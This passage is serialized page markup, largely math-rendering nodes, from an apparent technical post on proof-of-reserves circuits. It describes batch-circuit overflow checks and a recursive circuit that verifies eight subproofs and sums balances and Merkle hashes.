hash)",{"type":25,"tag":112,"props":107934,"children":107935},{},[107936,108210,108211,108216,108218,108223],{"type":25,"tag":264,"props":107937,"children":107939},{"className":107938},[267,268],[107940],{"type":25,"tag":271,"props":107941,"children":107943},{"className":107942},[274],[107944],{"type":25,"tag":271,"props":107945,"children":107947},{"className":107946,"ariaHidden":280},[279],[107948,108141],{"type":25,"tag":271,"props":107949,"children":107951},{"className":107950},[285],[107952,107956,107961,107966,107971,107976,107981,107986,107991,107996,108001,108006,108011,108016,108021,108026,108083,108088,108093,108098,108103,108108,108113,108118,108123,108128,108132,108137],{"type":25,"tag":271,"props":107953,"children":107955},{"className":107954,"style":7026},[290],[],{"type":25,"tag":271,"props":107957,"children":107959},{"className":107958},[296,297],[107960],{"type":30,"value":83},{"type":25,"tag":271,"props":107962,"children":107964},{"className":107963},[296,297],[107965],{"type":30,"value":106608},{"type":25,"tag":271,"props":107967,"children":107969},{"className":107968},[296,297],[107970],{"type":30,"value":106410},{"type":25,"tag":271,"props":107972,"children":107974},{"className":107973},[296,297],[107975],{"type":30,"value":1023},{"type":25,"tag":271,"props":107977,"children":107979},{"className":107978},[296,297],[107980],{"type":30,"value":6292},{"type":25,"tag":271,"props":107982,"children":107984},{"className":107983,"style":2296},[296],[107985],{"type":30,"value":6434},{"type":25,"tag":271,"props":107987,"children":107989},{"className":107988},[296,297],[107990],{"type":30,"value":83},{"type":25,"tag":271,"props":107992,"children":107994},{"className":107993},[296,297],[107995],{"type":30,"value":106148},{"type":25,"tag":271,"props":107997,"children":107999},{"className":107998},[296,297],[108000],{"type":30,"value":6292},{"type":25,"tag":271,"props":108002,"children":108004},{"className":108003,"style":2296},[296],[108005],{"type":30,"value":6434},{"type":25,"tag":271,"props":108007,"children":108009},{"className":108008},[296,297],[108010],{"type":30,"value":106164},{"type":25,"tag":271,"props":108012,"children":108014},{"className":108013,"style":106168},[296,297],[108015],{"type":30,"value":106171},{"type":25,"tag":271,"props":108017,"children":108019},{"className":108018},[296,297],[108020],{"type":30,"value":106177},{"type":25,"tag":271,"props":108022,"children":108024},{"className":108023},[296,297],[108025],{"type":30,"value":106183},{"type":25,"tag":271,"props":108027,"children":108029},{"className":108028},[296],[108030,108035],{"type":25,"tag":271,"props":108031,"children":108033},{"className":108032},[296,297],[108034],{"type":30,"value":23776},{"type":25,"tag":271,"props":108036,"children":108038},{"className":108037},[982],[108039],{"type":25,"tag":271,"props":108040,"children":108042},{"className":108041},[987,1100],[108043,108072],{"type":25,"tag":271,"props":108044,"children":108046},{"className":108045},[992],[108047,108067],{"type":25,"tag":271,"props":108048,"children":108050},{"className":108049,"style":1918},[997],[108051],{"type":25,"tag":271,"props":108052,"children":108053},{"style":1592},[108054,108058],{"type":25,"tag":271,"props":108055,"children":108057},{"className":108056,"style":1008},[1007],[],{"type":25,"tag":271,"props":108059,"children":108061},{"className":108060},[1013,1014,1015,1016],[108062],{"type":25,"tag":271,"props":108063,"children":108065},{"className":108064},[296,297,1016],[108066],{"type":30,"value":1937},{"type":25,"tag":271,"props":108068,"children":108070},{"className":108069},[1177],[108071],{"type":30,"value":1180},{"type":25,"tag":271,"props":108073,"children":108075},{"className":108074},[992],[108076],{"type":25,"tag":271,"props":108077,"children":108079},{"className":108078,"style":1619},[997],[108080],{"type":25,"tag":271,"props":108081,"children":108082},{},[],{"type":25,"tag":271,"props":108084,"children":108086},{"className":108085},[391],[108087],{"type":30,"value":5604},{"type":25,"tag":271,"props":108089,"children":108091},{"className":108090},[296,297],[108092],{"type":30,"value":83},{"type":25,"tag":271,"props":108094,"children":108096},{"className":108095},[296,297],[108097],{"type":30,"value":106148},{"type":25,"tag":271,"props":108099,"children":108101},{"className":108100},[296,297],[108102],{"type":30,"value":6292},{"type":25,"tag":271,"props":108104,"children":108106},{"className":108105,"style":2296},[296],[108107],{"type":30,"value":6434},{"type":25,"tag":271,"props":108109,"children":108111},{"className":108110},[296,297],[108112],{"type":30,"value":1023},{"type":25,"tag":271,"props":108114,"children":108116},{"className":108115},[296,297],[108117],{"type":30,"value":106410},{"type":25,"tag":271,"props":108119,"children":108121},{"className":108120},[296,297],[108122],{"type":30,"value":64249},{"type":25,"tag":271,"props":108124,"children":108126},{"className":108125},[437],[108127],{"type":30,"value":5630},{"type":25,"tag":271,"props":108129,"children":108131},{"className":108130,"style":338},[337],[],{"type":25,"tag":271,"props":108133,"children":108135},{"className":108134},[356],[108136],{"type":30,"value":14307},{"type":25,"tag":271,"props":108138,"children":108140},{"className":108139,"style":338},[337],[],{"type":25,"tag":271,"props":108142,"children":108144},{"className":108143},[285],[108145,108149,108156,108161,108166,108171,108176,108181,108187,108192,108198,108204],{"type":25,"tag":271,"props":108146,"children":108148},{"className":108147,"style":7026},[290],[],{"type":25,"tag":271,"props":108150,"children":108153},{"className":108151,"style":108152},[296,297],"margin-right:0.10903em;",[108154],{"type":30,"value":108155},"M",{"type":25,"tag":271,"props":108157,"children":108159},{"className":108158},[296,297],[108160],{"type":30,"value":5710},{"type":25,"tag":271,"props":108162,"children":108164},{"className":108163,"style":416},[296,297],[108165],{"type":30,"value":419},{"type":25,"tag":271,"props":108167,"children":108169},{"className":108168,"style":2296},[296],[108170],{"type":30,"value":6434},{"type":25,"tag":271,"props":108172,"children":108174},{"className":108173,"style":35148},[296,297],[108175],{"type":30,"value":35151},{"type":25,"tag":271,"props":108177,"children":108179},{"className":108178},[296,297],[108180],{"type":30,"value":5710},{"type":25,"tag":271,"props":108182,"children":108184},{"className":108183,"style":35148},[296,297],[108185],{"type":30,"value":108186},"FE",{"type":25,"tag":271,"props":108188,"children":108190},{"className":108189,"style":2296},[296],[108191],{"type":30,"value":6434},{"type":25,"tag":271,"props":108193,"children":108195},{"className":108194,"style":416},[296,297],[108196],{"type":30,"value":108197},"I",{"type":25,"tag":271,"props":108199,"children":108201},{"className":108200,"style":298},[296,297],[108202],{"type":30,"value":108203},"NT",{"type":25,"tag":271,"props":108205,"children":108207},{"className":108206},[296],[108208],{"type":30,"value":108209},"/512",{"type":30,"value":14096},{"type":25,"tag":38,"props":108212,"children":108213},{},[108214],{"type":30,"value":108215},"(overflow check)",{"type":30,"value":108217}," --> overflow check is made this way for performance (note that 512 is actually the ",{"type":25,"tag":264,"props":108219,"children":108221},{"className":108220},[],[108222],{"type":30,"value":106017},{"type":30,"value":440},{"type":25,"tag":26,"props":108225,"children":108226},{},[108227],{"type":30,"value":108228},"Here is a visual scheme of the inputs of the batch circuit + how user hashes are generated:",{"type":25,"tag":26,"props":108230,"children":108231},{},[108232],{"type":25,"tag":698,"props":108233,"children":108235},{"alt":63694,"src":108234},"/posts/por/batch-circuit-inputs.png",[],{"type":25,"tag":247,"props":108237,"children":108239},{"id":108238},"recursive-circuit",[108240],{"type":30,"value":108241},"Recursive Circuit",{"type":25,"tag":26,"props":108243,"children":108244},{},[108245],{"type":30,"value":108246},"Recursive circuits get eight subproofs as input, verify if all the asset prices are the same, and calculate the summed balances and Merkle hash. Here are the constraints.",{"type":25,"tag":26,"props":108248,"children":108249},{},[108250],{"type":25,"tag":38,"props":108251,"children":108252},{},[108253],{"type":30,"value":106523},{"type":25,"tag":108,"props":108255,"children":108256},{},[108257,108261,108266],{"type":25,"tag":112,"props":108258,"children":108259},{},[108260],{"type":30,"value":106541},{"type":25,"tag":112,"props":108262,"children":108263},{},[108264],{"type":30,"value":108265},"Asset prices",{"type":25,"tag":112,"props":108267,"children":108268},{},[108269],{"type":30,"value":106536},{"type":25,"tag":26,"props":108271,"children":108272},{},[108273],{"type":25,"tag":38,"props":108274,"children":108275},{},[108276],{"type":30,"value":106549},{"type":25,"tag":108,"props":108278,"children":108279},{},[108280],{"type":25,"tag":112,"props":108281,"children":108282},{},[108283],{"type":30,"value":108284},"8 subproofs",{"type":25,"tag":26,"props":108286,"children":108287},{},[108288],{"type":25,"tag":38,"props":108289,"children":108290},{},[108291],{"type":30,"value":106570},{"type":25,"tag":108,"props":108293,"children":108294},{},[108295,108704,109035,109402,109789],{"type":25,"tag":112,"props":108296,"children":108297},{},[108298,108699,108700],{"type":25,"tag":264,"props":108299,"children":108301},{"className":108300},[267,268],[108302],{"type":25,"tag":271,"props":108303,"children":108305},{"className":108304},[274],[108306],{"type":25,"tag":271,"props":108307,"children":108309},{"className":108308,"ariaHidden":280},[279],[108310,108446],{"type":25,"tag":271,"props":108311,"children":108313},{"className":108312},[285],[108314,108318,108323,108328,108333,108338,108343,108348,108353,108358,108363,108368,108373,108378,108383,108388,108393,108398,108403,108408,108413,108418,108423,108428,108433,108437,108442],{"type":25,"tag":271,"props":108315,"children":108317},{"className":108316,"style":7026},[290],[],{"type":25,"tag":271,"props":108319,"children":108321},{"className":108320},[296,297],[108322],{"type":30,"value":6292},{"type":25,"tag":271,"props":108324,"children":108326},{"className":108325},[296,297],[108327],{"type":30,"value":106127},{"type":25,"tag":271,"props":108329,"children":108331},{"className":108330},[296,297],[108332],{"type":30,"value":6292},{"type":25,"tag":271,"props":108334,"children":108336},{"className":108335},[296,297],[108337],{"type":30,"value":83},{"type":25,"tag":271,"props":108339,"children":108341},{"className":108340,"style":106168},[296,297],[108342],{"type":30,"value":106171},{"type":25,"tag":271,"props":108344,"children":108346},{"className":108345,"style":2296},[296],[108347],{"type":30,"value":6434},{"type":25,"tag":271,"props":108349,"children":108351},{"className":108350},[296,297],[108352],{"type":30,"value":83},{"type":25,"tag":271,"props":108354,"children":108356},{"className":108355},[296,297],[108357],{"type":30,"value":106148},{"type":25,"tag":271,"props":108359,"children":108361},{"className":108360},[296,297],[108362],{"type":30,"value":6292},{"type":25,"tag":271,"props":108364,"children":108366},{"className":108365,"style":2296},[296],[108367],{"type":30,"value":6434},{"type":25,"tag":271,"props":108369,"children":108371},{"className":108370},[296,297],[108372],{"type":30,"value":106164},{"type":25,"tag":271,"props":108374,"children":108376},{"className":108375,"style":106168},[296,297],[108377],{"type":30,"value":106171},{"type":25,"tag":271,"props":108379,"children":108381},{"className":108380},[296,297],[108382],{"type":30,"value":106177},{"type":25,"tag":271,"props":108384,"children":108386},{"className":108385},[296,297],[108387],{"type":30,"value":106183},{"type":25,"tag":271,"props":108389,"children":108391},{"className":108390},[391],[108392],{"type":30,"value":5604},{"type":25,"tag":271,"props":108394,"children":108396},{"className":108395},[296,297],[108397],{"type":30,"value":83},{"type":25,"tag":271,"props":108399,"children":108401},{"className":108400},[296,297],[108402],{"type":30,"value":106148},{"type":25,"tag":271,"props":108404,"children":108406},{"className":108405},[296,297],[108407],{"type":30,"value":6292},{"type":25,"tag":271,"props":108409,"children":108411},{"className":108410,"style":2296},[296],[108412],{"type":30,"value":6434},{"type":25,"tag":271,"props":108414,"children":108416},{"className":108415},[296,297],[108417],{"type":30,"value":1023},{"type":25,"tag":271,"props":108419,"children":108421},{"className":108420},[296,297],[108422],{"type":30,"value":106410},{"type":25,"tag":271,"props":108424,"children":108426},{"className":108425},[296,297],[108427],{"type":30,"value":64249},{"type":25,"tag":271,"props":108429,"children":108431},{"className":108430},[437],[108432],{"type":30,"value":5630},{"type":25,"tag":271,"props":108434,"children":108436},{"className":108435,"style":338},[337],[],{"type":25,"tag":271,"props":108438,"children":108440},{"className":108439},[356],[108441],{"type":30,"value":21696},{"type":25,"tag":271,"props":108443,"children":108445},{"className":108444,"style":338},[337],[],{"type":25,"tag":271,"props":108447,"children":108449},{"className":108448},[285],[108450,108454,108459,108464,108469,108474,108479,108484,108490,108548,108553,108558,108563,108568,108573,108578,108583,108588,108594,108599,108604,108609,108614,108619,108624,108629,108634,108639,108644,108649,108654,108659,108664,108669,108674,108679,108684,108689,108694],{"type":25,"tag":271,"props":108451,"children":108453},{"className":108452,"style":7026},[290],[],{"type":25,"tag":271,"props":108455,"children":108457},{"className":108456},[296],[108458],{"type":30,"value":106738},{"type":25,"tag":271,"props":108460,"children":108462},{"className":108461},[337],[108463],{"type":30,"value":34797},{"type":25,"tag":271,"props":108465,"children":108467},{"className":108466},[296,297],[108468],{"type":30,"value":23776},{"type":25,"tag":271,"props":108470,"children":108472},{"className":108471},[296,297],[108473],{"type":30,"value":106410},{"type":25,"tag":271,"props":108475,"children":108477},{"className":108476},[296,297],[108478],{"type":30,"value":2508},{"type":25,"tag":271,"props":108480,"children":108482},{"className":108481},[296,297],[108483],{"type":30,"value":26},{"type":25,"tag":271,"props":108485,"children":108487},{"className":108486},[296,297],[108488],{"type":30,"value":108489},"roo",{"type":25,"tag":271,"props":108491,"children":108493},{"className":108492},[296],[108494,108499],{"type":25,"tag":271,"props":108495,"children":108497},{"className":108496,"style":4500},[296,297],[108498],{"type":30,"value":4503},{"type":25,"tag":271,"props":108500,"children":108502},{"className":108501},[982],[108503],{"type":25,"tag":271,"props":108504,"children":108506},{"className":108505},[987,1100],[108507,108537],{"type":25,"tag":271,"props":108508,"children":108510},{"className":108509},[992],[108511,108532],{"type":25,"tag":271,"props":108512,"children":108514},{"className":108513,"style":1918},[997],[108515],{"type":25,"tag":271,"props":108516,"children":108518},{"style":108517},"top:-2.55em;margin-left:-0.1076em;margin-right:0.05em;",[108519,108523],{"type":25,"tag":271,"props":108520,"children":108522},{"className":108521,"style":1008},[1007],[],{"type":25,"tag":271,"props":108524,"children":108526},{"className":108525},[1013,1014,1015,1016],[108527],{"type":25,"tag":271,"props":108528,"children":108530},{"className":108529},[296,297,1016],[108531],{"type":30,"value":1937},{"type":25,"tag":271,"props":108533,"children":108535},{"className":108534},[1177],[108536],{"type":30,"value":1180},{"type":25,"tag":271,"props":108538,"children":108540},{"className":108539},[992],[108541],{"type":25,"tag":271,"props":108542,"children":108544},{"className":108543,"style":1619},[997],[108545],{"type":25,"tag":271,"props":108546,"children":108547},{},[],{"type":25,"tag":271,"props":108549,"children":108551},{"className":108550},[296],[108552],{"type":30,"value":1860},{"type":25,"tag":271,"props":108554,"children":108556},{"className":108555},[296,297],[108557],{"type":30,"value":26},{"type":25,"tag":271,"props":108559,"children":108561},{"className":108560},[296,297],[108562],{"type":30,"value":106410},{"type":25,"tag":271,"props":108564,"children":108566},{"className":108565},[296,297],[108567],{"type":30,"value":2508},{"type":25,"tag":271,"props":108569,"children":108571},{"className":108570,"style":106168},[296,297],[108572],{"type":30,"value":106171},{"type":25,"tag":271,"props":108574,"children":108576},{"className":108575},[296,297],[108577],{"type":30,"value":1937},{"type":25,"tag":271,"props":108579,"children":108581},{"className":108580},[296,297],[108582],{"type":30,"value":13243},{"type":25,"tag":271,"props":108584,"children":108586},{"className":108585,"style":2296},[296],[108587],{"type":30,"value":6434},{"type":25,"tag":271,"props":108589,"children":108591},{"className":108590},[296,297],[108592],{"type":30,"value":108593},"in",{"type":25,"tag":271,"props":108595,"children":108597},{"className":108596},[296,297],[108598],{"type":30,"value":26},{"type":25,"tag":271,"props":108600,"children":108602},{"className":108601},[296,297],[108603],{"type":30,"value":106410},{"type":25,"tag":271,"props":108605,"children":108607},{"className":108606},[296,297],[108608],{"type":30,"value":6292},{"type":25,"tag":271,"props":108610,"children":108612},{"className":108611},[296],[108613],{"type":30,"value":1860},{"type":25,"tag":271,"props":108615,"children":108617},{"className":108616},[296,297],[108618],{"type":30,"value":83},{"type":25,"tag":271,"props":108620,"children":108622},{"className":108621},[296,297],[108623],{"type":30,"value":106148},{"type":25,"tag":271,"props":108625,"children":108627},{"className":108626},[296,297],[108628],{"type":30,"value":6292},{"type":25,"tag":271,"props":108630,"children":108632},{"className":108631,"style":2296},[296],[108633],{"type":30,"value":6434},{"type":25,"tag":271,"props":108635,"children":108637},{"className":108636},[296,297],[108638],{"type":30,"value":106164},{"type":25,"tag":271,"props":108640,"children":108642},{"className":108641,"style":106168},[296,297],[108643],{"type":30,"value":106171},{"type":25,"tag":271,"props":108645,"children":108647},{"className":108646},[296,297],[108648],{"type":30,"value":106177},{"type":25,"tag":271,"props":108650,"children":108652},{"className":108651},[296,297],[108653],{"type":30,"value":106977},{"type":25,"tag":271,"props":108655,"children":108657},{"className":108656},[391],[108658],{"type":30,"value":5604},{"type":25,"tag":271,"props":108660,"children":108662},{"className":108661},[296,297],[108663],{"type":30,"value":83},{"type":25,"tag":271,"props":108665,"children":108667},{"className":108666},[296,297],[108668],{"type":30,"value":106148},{"type":25,"tag":271,"props":108670,"children":108672},{"className":108671},[296,297],[108673],{"type":30,"value":6292},{"type":25,"tag":271,"props":108675,"children":108677},{"className":108676,"style":2296},[296],[108678],{"type":30,"value":6434},{"type":25,"tag":271,"props":108680,"children":108682},{"className":108681},[296,297],[108683],{"type":30,"value":1023},{"type":25,"tag":271,"props":108685,"children":108687},{"className":108686},[296,297],[108688],{"type":30,"value":106410},{"type":25,"tag":271,"props":108690,"children":108692},{"className":108691},[296,297],[108693],{"type":30,"value":64249},{"type":25,"tag":271,"props":108695,"children":108697},{"className":108696},[437],[108698],{"type":30,"value":5630},{"type":30,"value":14096},{"type":25,"tag":38,"props":108701,"children":108702},{},[108703],{"type":30,"value":107536},{"type":25,"tag":112,"props":108705,"children":108706},{},[108707],{"type":25,"tag":264,"props":108708,"children":108710},{"className":108709},[267,268],[108711],{"type":25,"tag":271,"props":108712,"children":108714},{"className":108713},[274],[108715],{"type":25,"tag":271,"props":108716,"children":108718},{"className":108717,"ariaHidden":280},[279],[108719,108825],{"type":25,"tag":271,"props":108720,"children":108722},{"className":108721},[285],[108723,108727,108732,108737,108742,108747,108752,108757,108762,108767,108772,108777,108782,108787,108792,108797,108802,108807,108812,108816,108821],{"type":25,"tag":271,"props":108724,"children":108726},{"className":108725,"style":7026},[290],[],{"type":25,"tag":271,"props":108728,"children":108730},{"className":108729},[296,297],[108731],{"type":30,"value":83},{"type":25,"tag":271,"props":108733,"children":108735},{"className":108734},[296,297],[108736],{"type":30,"value":106148},{"type":25,"tag":271,"props":108738,"children":108740},{"className":108739},[296,297],[108741],{"type":30,"value":6292},{"type":25,"tag":271,"props":108743,"children":108745},{"className":108744,"style":2296},[296],[108746],{"type":30,"value":6434},{"type":25,"tag":271,"props":108748,"children":108750},{"className":108749},[296,297],[108751],{"type":30,"value":26},{"type":25,"tag":271,"props":108753,"children":108755},{"className":108754,"style":2296},[296,297],[108756],{"type":30,"value":2299},{"type":25,"tag":271,"props":108758,"children":108760},{"className":108759},[296,297],[108761],{"type":30,"value":1937},{"type":25,"tag":271,"props":108763,"children":108765},{"className":108764},[296,297],[108766],{"type":30,"value":106183},{"type":25,"tag":271,"props":108768,"children":108770},{"className":108769},[391],[108771],{"type":30,"value":5604},{"type":25,"tag":271,"props":108773,"children":108775},{"className":108774},[296,297],[108776],{"type":30,"value":83},{"type":25,"tag":271,"props":108778,"children":108780},{"className":108779},[296,297],[108781],{"type":30,"value":106148},{"type":25,"tag":271,"props":108783,"children":108785},{"className":108784},[296,297],[108786],{"type":30,"value":6292},{"type":25,"tag":271,"props":108788,"children":108790},{"className":108789,"style":2296},[296],[108791],{"type":30,"value":6434},{"type":25,"tag":271,"props":108793,"children":108795},{"className":108794},[296,297],[108796],{"type":30,"value":1023},{"type":25,"tag":271,"props":108798,"children":108800},{"className":108799},[296,297],[108801],{"type":30,"value":106410},{"type":25,"tag":271,"props":108803,"children":108805},{"className":108804},[296,297],[108806],{"type":30,"value":64249},{"type":25,"tag":271,"props":108808,"children":108810},{"className":108809},[437],[108811],{"type":30,"value":5630},{"type":25,"tag":271,"props":108813,"children":108815},{"className":108814,"style":338},[337],[],{"type":25,"tag":271,"props":108817,"children":108819},{"className":108818},[356],[108820],{"type":30,"value":21696},{"type":25,"tag":271,"props":108822,"children":108824},{"className":108823,"style":338},[337],[],{"type":25,"tag":271,"props":108826,"children":108828},{"className":108827},[285],[108829,108833,108838,108843,108848,108853,108858,108915,108920,108925,108930,108935,108940,108945,108950,108955,108960,108965,108970,108975,108980,108985,108990,108995,109000,109005,109010,109015,109020,109025,109030],{"type":25,"tag":271,"props":108830,"children":108832},{"className":108831,"style":7026},[290],[],{"type":25,"tag":271,"props":108834,"children":108836},{"className":108835},[296,297],[108837],{"type":30,"value":23776},{"type":25,"tag":271,"props":108839,"children":108841},{"className":108840},[296,297],[108842],{"type":30,"value":106410},{"type":25,"tag":271,"props":108844,"children":108846},{"className":108845},[296,297],[108847],{"type":30,"value":2508},{"type":25,"tag":271,"props":108849,"children":108851},{"className":108850},[296,297],[108852],{"type":30,"value":26},{"type":25,"tag":271,"props":108854,"children":108856},{"className":108855},[296,297],[108857],{"type":30,"value":108489},{"type":25,"tag":271,"props":108859,"children":108861},{"className":108860},[296],[108862,108867],{"type":25,"tag":271,"props":108863,"children":108865},{"className":108864,"style":4500},[296,297],[108866],{"type":30,"value":4503},{"type":25,"tag":271,"props":108868,"children":108870},{"className":108869},[982],[108871],{"type":25,"tag":271,"props":108872,"children":108874},{"className":108873},[987,1100],[108875,108904],{"type":25,"tag":271,"props":108876,"children":108878},{"className":108877},[992],[108879,108899],{"type":25,"tag":271,"props":108880,"children":108882},{"className":108881,"style":1918},[997],[108883],{"type":25,"tag":271,"props":108884,"children":108885},{"style":108517},[108886,108890],{"type":25,"tag":271,"props":108887,"children":108889},{"className":108888,"style":1008},[1007],[],{"type":25,"tag":271,"props":108891,"children":108893},{"className":108892},[1013,1014,1015,1016],[108894],{"type":25,"tag":271,"props":108895,"children":108897},{"className":108896},[296,297,1016],[108898],{"type":30,"value":1937},{"type":25,"tag":271,"props":108900,"children":108902},{"className":108901},[1177],[108903],{"type":30,"value":1180},{"type":25,"tag":271,"props":108905,"children":108907},{"className":108906},[992],[108908],{"type":25,"tag":271,"props":108909,"children":108911},{"className":108910,"style":1619},[997],[108912],{"type":25,"tag":271,"props":108913,"children":108914},{},[],{"type":25,"tag":271,"props":108916,"children":108918},{"className":108917},[296],[108919],{"type":30,"value":1860},{"type":25,"tag":271,"props":108921,"children":108923},{"className":108922},[296,297],[108924],{"type":30,"value":26},{"type":25,"tag":271,"props":108926,"children":108928},{"className":108927},[296,297],[108929],{"type":30,"value":106410},{"type":25,"tag":271,"props":108931,"children":108933},{"className":108932},[296,297],[108934],{"type":30,"value":2508},{"type":25,"tag":271,"props":108936,"children":108938},{"className":108937,"style":106168},[296,297],[108939],{"type":30,"value":106171},{"type":25,"tag":271,"props":108941,"children":108943},{"className":108942},[296,297],[108944],{"type":30,"value":1937},{"type":25,"tag":271,"props":108946,"children":108948},{"className":108947},[296,297],[108949],{"type":30,"value":13243},{"type":25,"tag":271,"props":108951,"children":108953},{"className":108952,"style":2296},[296],[108954],{"type":30,"value":6434},{"type":25,"tag":271,"props":108956,"children":108958},{"className":108957},[296,297],[108959],{"type":30,"value":108593},{"type":25,"tag":271,"props":108961,"children":108963},{"className":108962},[296,297],[108964],{"type":30,"value":26},{"type":25,"tag":271,"props":108966,"children":108968},{"className":108967},[296,297],[108969],{"type":30,"value":106410},{"type":25,"tag":271,"props":108971,"children":108973},{"className":108972},[296,297],[108974],{"type":30,"value":6292},{"type":25,"tag":271,"props":108976,"children":108978},{"className":108977},[296],[108979],{"type":30,"value":1860},{"type":25,"tag":271,"props":108981,"children":108983},{"className":108982},[296,297],[108984],{"type":30,"value":83},{"type":25,"tag":271,"props":108986,"children":108988},{"className":108987},[296,297],[108989],{"type":30,"value":106148},{"type":25,"tag":271,"props":108991,"children":108993},{"className":108992},[296,297],[108994],{"type":30,"value":6292},{"type":25,"tag":271,"props":108996,"children":108998},{"className":108997,"style":2296},[296],[108999],{"type":30,"value":6434},{"type":25,"tag":271,"props":109001,"children":109003},{"className":109002},[296,297],[109004],{"type":30,"value":26},{"type":25,"tag":271,"props":109006,"children":109008},{"className":109007,"style":2296},[296,297],[109009],{"type":30,"value":2299},{"type":25,"tag":271,"props":109011,"children":109013},{"className":109012},[296,297],[109014],{"type":30,"value":1937},{"type":25,"tag":271,"props":109016,"children":109018},{"className":109017},[296,297],[109019],{"type":30,"value":106977},{"type":25,"tag":271,"props":109021,"children":109023},{"className":109022},[391],[109024],{"type":30,"value":5604},{"type":25,"tag":271,"props":109026,"children":109028},{"className":109027},[296],[109029],{"type":30,"value":953},{"type":25,"tag":271,"props":109031,"children":109033},{"className":109032},[437],[109034],{"type":30,"value":5630},{"type":25,"tag":112,"props":109036,"children":109037},{},[109038,109396,109397],{"type":25,"tag":264,"props":109039,"children":109041},{"className":109040},[267,268],[109042],{"type":25,"tag":271,"props":109043,"children":109045},{"className":109044},[274],[109046],{"type":25,"tag":271,"props":109047,"children":109049},{"className":109048,"ariaHidden":280},[279],[109050,109156],{"type":25,"tag":271,"props":109051,"children":109053},{"className":109052},[285],[109054,109058,109063,109068,109073,109078,109083,109088,109093,109098,109103,109108,109113,109118,109123,109128,109133,109138,109143,109147,109152],{"type":25,"tag":271,"props":109055,"children":109057},{"className":109056,"style":7026},[290],[],{"type":25,"tag":271,"props":109059,"children":109061},{"className":109060},[296,297],[109062],{"type":30,"value":83},{"type":25,"tag":271,"props":109064,"children":109066},{"className":109065},[296,297],[109067],{"type":30,"value":106148},{"type":25,"tag":271,"props":109069,"children":109071},{"className":109070},[296,297],[109072],{"type":30,"value":6292},{"type":25,"tag":271,"props":109074,"children":109076},{"className":109075,"style":2296},[296],[109077],{"type":30,"value":6434},{"type":25,"tag":271,"props":109079,"children":109081},{"className":109080},[296,297],[109082],{"type":30,"value":26},{"type":25,"tag":271,"props":109084,"children":109086},{"className":109085,"style":2296},[296,297],[109087],{"type":30,"value":2299},{"type":25,"tag":271,"props":109089,"children":109091},{"className":109090},[296,297],[109092],{"type":30,"value":1937},{"type":25,"tag":271,"props":109094,"children":109096},{"className":109095},[296,297],[109097],{"type":30,"value":106183},{"type":25,"tag":271,"props":109099,"children":109101},{"className":109100},[391],[109102],{"type":30,"value":5604},{"type":25,"tag":271,"props":109104,"children":109106},{"className":109105},[296,297],[109107],{"type":30,"value":83},{"type":25,"tag":271,"props":109109,"children":109111},{"className":109110},[296,297],[109112],{"type":30,"value":106148},{"type":25,"tag":271,"props":109114,"children":109116},{"className":109115},[296,297],[109117],{"type":30,"value":6292},{"type":25,"tag":271,"props":109119,"children":109121},{"className":109120,"style":2296},[296],[109122],{"type":30,"value":6434},{"type":25,"tag":271,"props":109124,"children":109126},{"className":109125},[296,297],[109127],{"type":30,"value":1023},{"type":25,"tag":271,"props":109129,"children":109131},{"className":109130},[296,297],[109132],{"type":30,"value":106410},{"type":25,"tag":271,"props":109134,"children":109136},{"className":109135},[296,297],[109137],{"type":30,"value":64249},{"type":25,"tag":271,"props":109139,"children":109141},{"className":109140},[437],[109142],{"type":30,"value":5630},{"type":25,"tag":271,"props":109144,"children":109146},{"className":109145,"style":338},[337],[],{"type":25,"tag":271,"props":109148,"children":109150},{"className":109149},[356],[109151],{"type":30,"value":21696},{"type":25,"tag":271,"props":109153,"children":109155},{"className":109154,"style":338},[337],[],{"type":25,"tag":271,"props":109157,"children":109159},{"className":109158},[285],[109160,109164,109169,109174,109179,109184,109189,109246,109251,109256,109261,109266,109271,109276,109281,109286,109291,109296,109301,109306,109311,109316,109321,109326,109331,109336,109341,109346,109351,109356,109361,109366,109371,109376,109381,109386,109391],{"type":25,"tag":271,"props":109161,"children":109163},{"className":109162,"style":7026},[290],[],{"type":25,"tag":271,"props":109165,"children":109167},{"className":109166},[296,297],[109168],{"type":30,"value":23776},{"type":25,"tag":271,"props":109170,"children":109172},{"className":109171},[296,297],[109173],{"type":30,"value":106410},{"type":25,"tag":271,"props":109175,"children":109177},{"className":109176},[296,297],[109178],{"type":30,"value":2508},{"type":25,"tag":271,"props":109180,"children":109182},{"className":109181},[296,297],[109183],{"type":30,"value":26},{"type":25,"tag":271,"props":109185,"children":109187},{"className":109186},[296,297],[109188],{"type":30,"value":108489},{"type":25,"tag":271,"props":109190,"children":109192},{"className":109191},[296],[109193,109198],{"type":25,"tag":271,"props":109194,"children":109196},{"className":109195,"style":4500},[296,297],[109197],{"type":30,"value":4503},{"type":25,"tag":271,"props":109199,"children":109201},{"className":109200},[982],[109202],{"type":25,"tag":271,"props":109203,"children":109205},{"className":109204},[987,1100],[109206,109235],{"type":25,"tag":271,"props":109207,"children":109209},{"className":109208},[992],[109210,109230],{"type":25,"tag":271,"props":109211,"children":109213},{"className":109212,"style":1918},[997],[109214],{"type":25,"tag":271,"props":109215,"children":109216},{"style":108517},[109217,109221],{"type":25,"tag":271,"props":109218,"children":109220},{"className":109219,"style":1008},[1007],[],{"type":25,"tag":271,"props":109222,"children":109224},{"className":109223},[1013,1014,1015,1016],[109225],{"type":25,"tag":271,"props":109226,"children":109228},{"className":109227},[296,297,1016],[109229],{"type":30,"value":1937},{"type":25,"tag":271,"props":109231,"children":109233},{"className":109232},[1177],[109234],{"type":30,"value":1180},{"type":25,"tag":271,"props":109236,"children":109238},{"className":109237},[992],[109239],{"type":25,"tag":271,"props":109240,"children":109242},{"className":109241,"style":1619},[997],[109243],{"type":25,"tag":271,"props":109244,"children":109245},{},[],{"type":25,"tag":271,"props":109247,"children":109249},{"className":109248},[296],[109250],{"type":30,"value":1860},{"type":25,"tag":271,"props":109252,"children":109254},{"className":109253},[296,297],[109255],{"type":30,"value":26},{"type":25,"tag":271,"props":109257,"children":109259},{"className":109258},[296,297],[109260],{"type":30,"value":106410},{"type":25,"tag":271,"props":109262,"children":109264},{"className":109263},[296,297],[109265],{"type":30,"value":2508},{"type":25,"tag":271,"props":109267,"children":109269},{"className":109268,"style":106168},[296,297],[109270],{"type":30,"value":106171},{"type":25,"tag":271,"props":109272,"children":109274},{"className":109273},[296,297],[109275],{"type":30,"value":1937},{"type":25,"tag":271,"props":109277,"children":109279},{"className":109278},[296,297],[109280],{"type":30,"value":13243},{"type":25,"tag":271,"props":109282,"children":109284},{"className":109283,"style":2296},[296],[109285],{"type":30,"value":6434},{"type":25,"tag":271,"props":109287,"children":109289},{"className":109288},[296,297],[109290],{"type":3